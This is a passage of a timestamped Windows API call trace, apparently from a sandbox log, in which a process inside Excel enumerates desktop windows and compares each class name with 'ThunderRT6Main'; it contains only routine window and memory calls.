(hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0137.767] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0137.767] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0137.768] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0137.768] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0137.768] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0137.768] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0137.768] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0137.769] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0137.769] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0137.769] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0137.769] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0137.769] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0137.769] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0137.770] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0137.770] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0137.770] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0137.770] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0137.770] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0137.771] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0137.771] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0137.771] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0137.771] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0137.771] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0137.771] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0137.772] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0137.772] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0137.772] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0137.772] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0137.772] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0137.773] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0137.773] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0137.773] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0137.773] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0137.773] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0137.774] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0137.774] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0137.774] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0137.774] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0137.774] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0137.775] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0137.775] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0137.775] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0137.775] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0137.775] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0137.775] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0137.776] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0137.776] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0137.776] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f7aad0 [0137.776] IMalloc:Free (This=0x7fefecb5380, pv=0x4f7aad0) [0140.664] GetAsyncKeyState (vKey=27) returned 0 [0140.664] GetCurrentThreadId () returned 0xbdc [0140.664] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0140.664] GetDesktopWindow () returned 0x10010 [0140.664] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0140.665] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.665] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0140.665] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.666] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.666] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.666] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0140.666] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.666] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.666] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.666] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0140.666] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0140.666] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0140.666] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0140.666] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0140.666] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.666] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.666] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.666] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0140.666] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0140.666] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0140.666] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.666] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0140.666] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.666] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.666] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.666] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0140.666] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.666] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.667] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.667] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0140.667] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.667] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.667] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.667] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0140.667] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.667] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.667] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.667] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0140.667] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.667] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.667] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.667] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0140.667] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.667] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.667] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.667] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0140.667] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.667] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.667] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.667] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0140.667] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.667] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.667] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.667] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0140.668] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.668] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.668] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.668] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0140.668] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0140.668] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0140.668] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.668] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0140.668] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0140.668] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0140.668] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.668] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0140.668] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.668] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.668] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.668] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0140.668] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.668] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.668] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.668] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0140.668] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0140.668] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0140.668] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.668] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0140.668] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.668] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.669] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.669] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0140.669] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0140.669] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0140.669] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0140.669] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.669] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.669] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.669] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0140.669] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0140.669] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0140.669] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0140.669] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.669] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.669] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.669] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0140.669] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0140.669] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0140.669] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0140.669] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.669] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.669] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.669] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0140.669] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0140.669] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0140.669] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0140.669] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0140.669] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0140.669] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.670] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0140.670] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0140.670] IsWindowEnabled (hWnd=0x20360) returned 0 [0140.670] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0140.670] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0140.670] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0140.670] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0140.670] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.670] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.670] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.670] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0140.670] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0140.670] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.670] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.670] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0140.670] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0140.670] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0140.670] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0140.670] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.670] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0140.670] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0140.670] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0140.670] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0140.670] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0140.670] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0140.670] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.671] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0140.671] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0140.671] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0140.671] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0140.671] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.671] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.671] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.671] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0140.671] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0140.671] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0140.671] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0140.671] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.671] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.671] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.671] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0140.671] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0140.671] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0140.671] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0140.671] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0140.671] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0140.671] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0140.671] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0140.671] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0140.671] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0140.671] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.671] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0140.671] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0140.671] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0140.671] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0140.671] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.672] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.672] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.672] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0140.672] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.672] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.672] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0140.672] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0140.672] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0140.672] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0140.672] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0140.672] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0140.672] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.672] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.672] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.672] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0140.672] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0140.672] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.672] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.672] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.672] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0140.672] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0140.672] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.672] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.672] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.672] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0140.672] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0140.673] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0140.673] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.673] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0140.673] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0140.673] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0140.673] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.673] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0140.673] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.673] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.673] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.673] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0140.673] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.673] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.673] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.673] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0140.673] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.673] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.673] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.673] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0140.673] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0140.673] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0140.673] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.673] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0140.673] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.673] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.673] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0140.674] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0140.674] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0140.674] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0140.674] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0140.674] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0140.674] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0140.674] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0140.674] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0140.674] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0140.674] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.674] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.674] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0140.674] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0140.674] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0140.674] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0140.674] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0140.674] 